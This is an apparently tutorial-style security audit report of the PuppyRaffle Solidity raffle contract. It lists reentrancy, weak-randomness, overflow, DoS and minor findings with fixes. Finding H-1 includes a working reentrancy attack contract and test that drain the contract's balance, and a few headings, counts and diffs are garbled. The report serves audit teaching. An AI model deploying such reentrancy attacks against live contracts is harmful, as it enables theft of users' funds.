



PuppyRaffle Report

Version 1.0

Max

December 7, 2025

Protocol Audit Report

Max

12/7, 2025

Prepared by: Max Lead Auditors:

- XXXXXXXX

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
- High
- Medium
- Low
- Informational
- Gas

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
 2. Duplicate addresses are not allowed
 3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
 5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.
- Puppy Raffle
 - Getting Started
 - Requirements
 - Quickstart
 - * Optional Gitpod
 - Usage
 - Testing
 - * Test Coverage
 - Audit Scope Details
 - Compatibilities
 - Roles
 - Known Issues

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

1		Impact		
2		High	Med	Low
3	High	H	H/M	M
4	Medium	H/M	M	M/L
5	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

a tutorial, great

Issues found

1	Severity	Number of issues found
2	High	3
3	Medium	2
4	Low	1

5	Info	7
6	Total	13

Findings

High

[H-1] Reentrancy-Attacks from `PuppyRaffle::refund`, allow attacker to refund all the deposit in `PuppyRaffle`

Description The `PuppyRaffle::refund` function does not follow CEI (Check, Effect, Interact), and as result, participants can drain the contract balance. In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5
6     @> payable(msg.sender).sendValue(entranceFee);
7     @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

Impact

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the `PuppyRaffle` balance.

PoC

place the follow test in `PuppyRaffleTest.t.sol`

```
1     function testRefundReentrancy() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
```

```
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttack reentrancyAttack = new ReentrancyAttack(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13
14     uint256 raffleBalanceBefore = address(puppyRaffle).balance;
15     uint256 attackUserBalanceBefore = address(reentrancyAttack).
16         balance;
17
18     vm.prank(attackUser);
19     reentrancyAttack.attack{value: entranceFee}();
20
21     uint256 raffleBalanceAfter = address(puppyRaffle).balance;
22     uint256 attackUserBalanceAfter = address(reentrancyAttack).
23         balance;
24
25     // raffleBalanceBefore
26     console2.log("raffleBalanceBefore:", raffleBalanceBefore);
27     // raffleBalanceAfter
28     console2.log("raffleBalanceAfter:", raffleBalanceAfter);
29     // attackUserBalanceBefore
30     console2.log("attackUserBalanceBefore:",
31         attackUserBalanceBefore);
32     // attackUserBalanceAfter
33     console2.log("attackUserBalanceAfter:", attackUserBalanceAfter)
34         ;
35 }
```

```
1 contract ReentrancyAttack {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackIndex = puppyRaffle.getActivePlayerIndex(address(this));
17         puppyRaffle.refund(attackIndex);
18     }
19 }
```

```
20     receive() external payable {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackIndex);
23         }
24     }
25
26     fallback() external payable {
27         if (address(puppyRaffle).balance >= entranceFee) {
28             puppyRaffle.refund(attackIndex);
29         }
30     }
31 }
```

Recommended mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
   can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
   refunded, or is not active");
5      +   players[playerIndex] = address(0);
6      +   emit RaffleRefunded(playerAddress);
7      payable(msg.sender).sendValue(entranceFees);
8      -   players[playerIndex] = address(0);
9      -   emit RaffleRefunded(playerAddress);
10 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof Of Concepts

PoC

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 8000000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance ==
2   uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Recommended mitigation

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's [SafeMath](#) to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Midium

[M-1] Looping through players array to check for duplicates in

PuppyRaffle::enterRaffle is a potential denial of service (DoS) attack, increasing gasFee for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an extra check the loop will have to make.

Impact No user can participate in the Raffle

Proof of Concepts we have 2 groups of users

- 1st 10 users' gasFee ~ 291281
- 2nd 10 users' gasFee ~ 406949

PoC

Place the following test into `PuppyRaffle.t.sol`

```
1
2 function testEntryDos() external {
3     vm.txGasPrice(1);
4
5     uint256 totalPlayers = 10;
6     address[] memory players = new address[](totalPlayers);
7     for (uint256 i = 0; i < totalPlayers; i++) {
8         players[i] = address(i);
9     }
10    uint256 gasStart = gasleft();
11    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
12    uint256 gasEnd = gasleft();
13    uint256 gasFirstUsed = (gasStart - gasEnd) * tx.gasprice;
14    console.log("gasFirstUsed:");
15    console.logUint(gasFirstUsed);
16
17    address[] memory playersTwo = new address[](totalPlayers);
18    for (uint256 i = 0; i < totalPlayers; i++) {
19        playersTwo[i] = address(i + 10);
20    }
21    uint256 gasStartSecond = gasleft();
22    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
        }(
23        playersTwo
24    );
25    uint256 gasEndSecond = gasleft();
26    uint256 gasSecondUsed = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
27    console.log("gasSecondUsed:");
28    console.logUint(gasSecondUsed);
29
30    assert(gasFirstUsed < gasSecondUsed);
31 }
```

Recommended mitigation There are few recommendations:

1. Considering Duplicate: user can hold different [EOA](#) to enter the Raffle
2. Considering Using Mapping To Check For Duplicate:

[M-2] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to

restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

4. Do not allow smart contract wallet entrants (not recommended)
5. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1 function getActivePlayerIndex(address player) external view returns (
    uint256) {
2     for (uint256 i = 0; i < players.length; i++) {
3         if (players[i] == player) {
4             return i;
5         }
6     }
7     return 0;
8 }
```

Impact A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description Reading from storage is much more expensive than reading a constant or immutable variable.

Recommended mitigation Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
7             );
8     }
9 }
```

Information

[I-1]: Unspecific Solidity Pragma

Description Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
1  pragma solidity ^0.7.6;
```

Recommended mitigation

```
1  + pragma solidity 0.7.6;
2  - pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation.

Deploy with any of the following Solidity versions:

```
1  0.8.18
```

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] lacks a zero-check on

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1      feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 159

```
1      previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1      feeAddress = newFeeAddress;
```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1
2 - (bool success,) = winner.call{value: prizePool}("");
3 - require(success, "PuppyRaffle: Failed to send prize pool to winner");
4   _safeMint(winner, tokenId);
5
6 * (bool success,) = winner.call{value: prizePool}("");
7 * require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
4
5 uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
6   POOL_PRECISION;
7 uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function

- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] `isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```